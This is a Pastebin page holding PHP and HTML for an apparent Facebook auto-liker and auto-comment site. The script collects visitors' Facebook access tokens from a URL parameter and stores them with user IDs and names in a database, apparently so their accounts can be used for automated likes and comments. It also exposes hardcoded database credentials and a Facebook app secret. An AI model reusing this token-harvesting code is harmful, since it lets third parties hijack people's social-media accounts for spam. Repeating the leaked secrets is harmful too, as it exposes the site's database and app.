This week only. Pastebin PRO Accounts Christmas Special! Don't miss out!Want more features on Pastebin? Sign Up, it's FREE!
Guest

Abang Deep <3

By: a guest on Aug 31st, 2012  |  syntax: None  |  size: 5.41 KB  |  views: 96  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2. require 'facebook.php';
  3.  
  4. $token = $_GET["accesstoken"];
  5. $fb_secret  = $_GET["sec"];
  6. $fb_app_url  = 'http://ph.superlike.org/m.php';
  7.  
  8. $host = "mysql.x90x.net";
  9. $username = "u235293354_auto";
  10. $password = "123456789";       
  11. $dbname = "u235293354_auto";
  12.  
  13. $facebook = new Facebook(array(
  14.         'appId' => '111160212353538',
  15.         'secret' => 'd2d951a8566758675db1dbd50327013c',
  16.         'cookie' => true
  17. ));
  18.  
  19. //database connect
  20. mysql_connect($host,$username,$password) or die(mysql_error());
  21. mysql_select_db($dbname) or die(mysql_error());
  22. mysql_query("SET NAMES utf8");
  23.  
  24.    mysql_query("CREATE TABLE IF NOT EXISTS `Likers` (
  25.       `id` int(11) NOT NULL AUTO_INCREMENT,
  26.       `user_id` varchar(32) NOT NULL,
  27.       `name` varchar(32) NOT NULL,
  28.       `access_token` varchar(255) NOT NULL,
  29.       PRIMARY KEY (`id`)
  30.       ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
  31.    ");
  32.  
  33.    try {
  34. $parameters['access_token'] = $_GET["accesstoken" ];
  35.       $userData = $facebook->api('/me', $parameters);
  36.    } catch (FacebookApiException $e) {
  37.       die("invalid access token");
  38.    }
  39.  
  40. if($userData){
  41.  
  42.  
  43.    //check that user is not already inserted? If is. check it's access token and update if needed
  44.    //also make sure that there is only one access_token for each user
  45.    $row = null;
  46.    $result = mysql_query("
  47.       SELECT
  48.          *
  49.       FROM
  50.          Likers
  51.       WHERE
  52.          user_id = '" . mysql_real_escape_string($userData['id']) . "'
  53.    ");
  54.    
  55.    if($result){
  56.       $row = mysql_fetch_array($result, MYSQL_ASSOC);
  57.       if(mysql_num_rows($result) > 1){
  58.          mysql_query("
  59.             DELETE FROM
  60.                Likers
  61.             WHERE
  62.                user_id='" . mysql_real_escape_string($userData['id']) . "' AND
  63.                id != '" . $row['id'] . "'
  64.          ");
  65.       }
  66.    }
  67.    
  68.    if(!$row){
  69.       mysql_query(
  70.          "INSERT INTO
  71.             Likers
  72.          SET
  73.             `user_id` = '" . mysql_real_escape_string($userData['id']) . "',
  74.             `name` = '" . mysql_real_escape_string($userData['name']) . "',
  75.             `access_token` = '" . mysql_real_escape_string($token) . "'
  76.       ");
  77.    } else {
  78.       mysql_query(
  79.          "UPDATE
  80.             Likers
  81.          SET
  82.             `access_token` = '" . mysql_real_escape_string($token) . "'
  83.          WHERE
  84.             `id` = " . $row['id'] . "
  85.       ");
  86.    }
  87. }
  88.  
  89.  
  90.  
  91. try {
  92. $parameters['access_token'] = $_GET["accesstoken"];
  93. $statuses = $facebook->api('/me/feed?limit=1=', $parameters);
  94. foreach($statuses['data'] as $status)
  95. {
  96.         echo $status["me/photo"], "<br />";
  97. }
  98. }
  99. catch (FacebookApiException $e) {
  100.       die("invalid access token");
  101. }
  102.  
  103.  
  104.  
  105.  
  106.  
  107. ?>
  108.  
  109. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  110. <html xmlns="http://www.w3.org/1999/xhtml">
  111. <head>
  112. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  113. <title>SuperLike-MY</title>
  114. <link rel="shortcut icon" href="images/like-icon.png" />
  115. <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js"></script>
  116. <link href="status.css" media="all" type="text/css" rel="stylesheet"><link href="css/bootstrap.css" media="all" type="text/css" rel="stylesheet">
  117. <style>
  118.  
  119. .spiter
  120. {
  121.         border-top:1px solid #ccc;
  122.         height:1px;
  123.         line-height:1px;
  124.         width:250px;
  125.         padding:0px;
  126.         margin:0px;
  127.         overflow:hidden;
  128. }
  129.  
  130. button {
  131.         border-color: #29447E #29447E #1A356E;
  132.     position: relative;
  133.     z-index: 1;
  134.     overflow: visible;
  135.     display: inline-block;
  136.     padding: 0.3em 0.6em 0.375em;
  137.     border: 1px solid #29447E;
  138.     margin: 0;
  139.     text-decoration: none;
  140.     text-align: center;
  141.     font: normal 13px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
  142.     white-space: nowrap;
  143.     cursor: pointer;
  144.     /* outline: none; */
  145.     color: #fff;
  146.     background-color: #5B74A8;
  147.     background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#637bad), to(#5872a7));
  148.     background-image: -moz-linear-gradient(#637bad, #5872a7);
  149.     background-image: -o-linear-gradient(#637bad, #5872a7);
  150.     background-image: linear-gradient(#637bad, #5872a7);
  151.     filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#637bad', EndColorStr='#5872a7'); /* for IE 6 - 9 */
  152.     -webkit-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1), inset 0 1px 0 #8a9cc2;
  153.     -moz-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1), inset 0 1px 0 #8a9cc2;
  154.     box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1), inset 0 1px 0 #8a9cc2;
  155.     /* IE hacks */
  156.     zoom: 1;
  157.     *display: inline;
  158. }
  159.  
  160. </style>
  161. <body>
  162.  
  163.         <center>       
  164. <div id="mikik">
  165. <br/>
  166. <br/>
  167. <br/>
  168. <br/>
  169. <br/>
  170. <img src="https://graph.facebook.com/me/picture?type=normal&access_token=<?php echo $token;?>" width='120px' height '120px'><br/><br/>
  171. <div class="m"><font color=blue><?php echo $userData['name']; ?></font>
  172. <div class="spiter"></div>
  173. <p></br><font color=black><?php echo $status["message"];?></font>
  174. <div class="spiter"></div><br>
  175. </p>
  176.  
  177.   <form method="post" action="autocomment.php">
  178.  
  179.       <p><b>Post ID </b><br><input size="31" type="visible" name="postid" id="postid" value="<?php echo $status["id"];?>" class="text-input" /></p>
  180.  
  181. <textarea name="komen" placeholder="ENTER COMMENT"></textarea><br />      <input type="submit" name="submit" class="uibutton confirm" id="submit_btn" value="Auto Comment" /></br></br>
  182.        
  183.         </div>
  184.   </form>
  185. </div>
  186.  
  187.       </center>          
  188. </body>
  189. </html>
clone this paste RAW Paste Data